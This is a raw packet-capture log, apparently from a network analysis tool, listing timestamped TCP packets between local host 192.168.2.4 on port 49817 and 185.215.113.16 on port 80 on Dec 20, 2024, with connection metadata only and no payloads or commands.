Dec 20, 2024 11:12:31.042469978 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.043342113 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.043394089 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.043395996 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.043441057 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.044364929 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.044415951 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.044477940 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.044526100 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.045408964 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.045471907 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.045532942 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.045578957 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.046483040 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.046535969 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.046643972 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.046760082 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.047539949 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.047593117 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.047652960 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.047807932 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.048660040 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.048724890 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.048773050 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.048821926 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.049721956 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.049773932 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.049814939 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.049865961 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.050769091 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.050817013 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.050837994 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.050884962 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.051816940 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.051867962 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.051927090 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.052021027 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.052861929 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.052913904 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.052947998 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.052997112 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.053920984 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.053972960 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.054033041 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.054080963 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.054965973 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.055016041 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.055077076 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.055128098 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.056045055 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.056092024 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.056135893 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.056184053 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.057075977 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.057126045 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.057187080 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.057240009 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.058114052 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.058165073 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.058227062 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.058276892 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.059170008 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.059225082 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.059279919 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.060327053 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.060385942 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.060498953 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.060549021 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.061306953 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.061374903 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.061429977 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.061479092 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.062361956 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.062410116 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.062530994 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.062589884 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.063421011 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.063513041 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.063553095 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.063597918 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.064522982 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.064568043 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.064574957 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.064623117 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.065547943 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.065598965 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.065645933 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.065721989 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.066672087 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.066730976 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.066869974 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.066926003 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.067652941 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.067703009 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.067888975 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.067945957 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.068721056 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.068816900 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.068891048 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.068939924 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.069789886 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.069842100 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.069896936 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.069956064 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.070833921 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.070885897 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.070888996 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.070936918 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.072031021 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.072094917 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.072149038 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.072201014 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.073095083 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.073144913 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.073160887 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.073205948 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.073996067 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.074048996 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.074080944 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.074131012 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.075057030 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.075129032 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.075189114 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.075242043 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.076112986 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.076162100 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.076225042 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.076267958 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.077202082 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.077244997 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.077307940 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.077357054 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.078257084 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.078294039 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.078361034 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.078411102 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.079330921 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.079384089 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.079392910 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.079433918 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.080380917 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.080430031 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.080503941 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.080554008 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.081490040 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.081572056 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.081793070 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.081835985 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.082595110 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.082647085 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.082743883 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.082802057 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.083528996 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.083601952 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.084016085 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.084065914 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.084669113 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.084714890 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.084722996 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.084778070 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.085660934 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.085716009 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.085763931 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.085813999 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.086776018 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.086824894 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.086879015 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.086930990 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.087764025 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.087817907 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.087873936 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.087925911 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.088819027 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.088870049 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.088957071 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.089008093 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.089862108 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.089912891 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.226984978 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.227132082 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.227214098 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.227503061 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.227555037 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.227566957 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.227613926 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.228576899 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.228710890 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.228764057 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.229639053 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.229688883 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.229722977 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.229768991 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.230686903 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.230731010 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.230799913 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.230850935 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.231771946 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.231821060 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.231884956 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.232804060 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.232858896 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.232865095 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.232902050 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.234102964 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.234157085 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.234183073 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.234230995 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.234951973 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.234999895 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.235044956 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.235093117 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.235980034 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.236102104 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.236156940 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.237065077 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.237112045 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.237153053 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.237200022 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.238085032 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.238132954 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.238138914 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.238187075 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.239156008 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.239227057 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.239273071 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.239319086 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.240197897 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.240326881 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.240382910 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.241283894 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.241331100 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.241406918 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.241452932 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.242362022 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.242408037 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.242439985 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.242480040 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.243403912 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.243475914 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.243537903 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.243590117 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.244498968 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.244625092 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.244694948 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.245556116 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.245615005 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.245620966 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.245666981 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.246644020 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.246694088 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.246762037 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.246809006 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.247627020 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.247682095 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.247730017 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.247786999 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.248694897 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.248924017 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.248979092 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.249866009 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.249902964 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.249916077 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.249953032 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.250839949 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.250890017 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.250938892 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.250987053 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.251920938 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.251975060 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.252022028 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.253463984 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.253513098 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.253582001 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.253638029 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.254245043 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.254297018 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.254352093 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.255171061 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.255248070 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.255253077 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.255301952 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.256176949 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.256230116 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.256292105 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.257167101 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.257220030 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.257246017 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.257297993 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.258219957 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.258274078 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.258312941 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.258363962 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.259280920 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.259340048 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.259426117 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.259474993 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.260351896 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.260416031 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.260469913 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.261420012 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.261476994 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.261538982 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.261590004 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.262448072 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.262495041 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.262614965 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.262675047 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.263525963 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.263575077 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.263644934 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.263689041 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.264594078 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.264729977 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.264786005 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.265649080 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.265697002 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.265764952 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.265811920 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.266696930 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.266746044 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.266782045 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.266834021 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.267756939 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.267807007 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.267894030 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.268802881 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.268838882 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.268857956 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.268882990 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.269887924 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.269942999 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.270003080 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.270051003 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.271013975 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.271092892 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.271171093 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.271224022 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.272588968 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.272641897 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.272706032 CET	49817	80	192.168.2.4	185.215.113.16
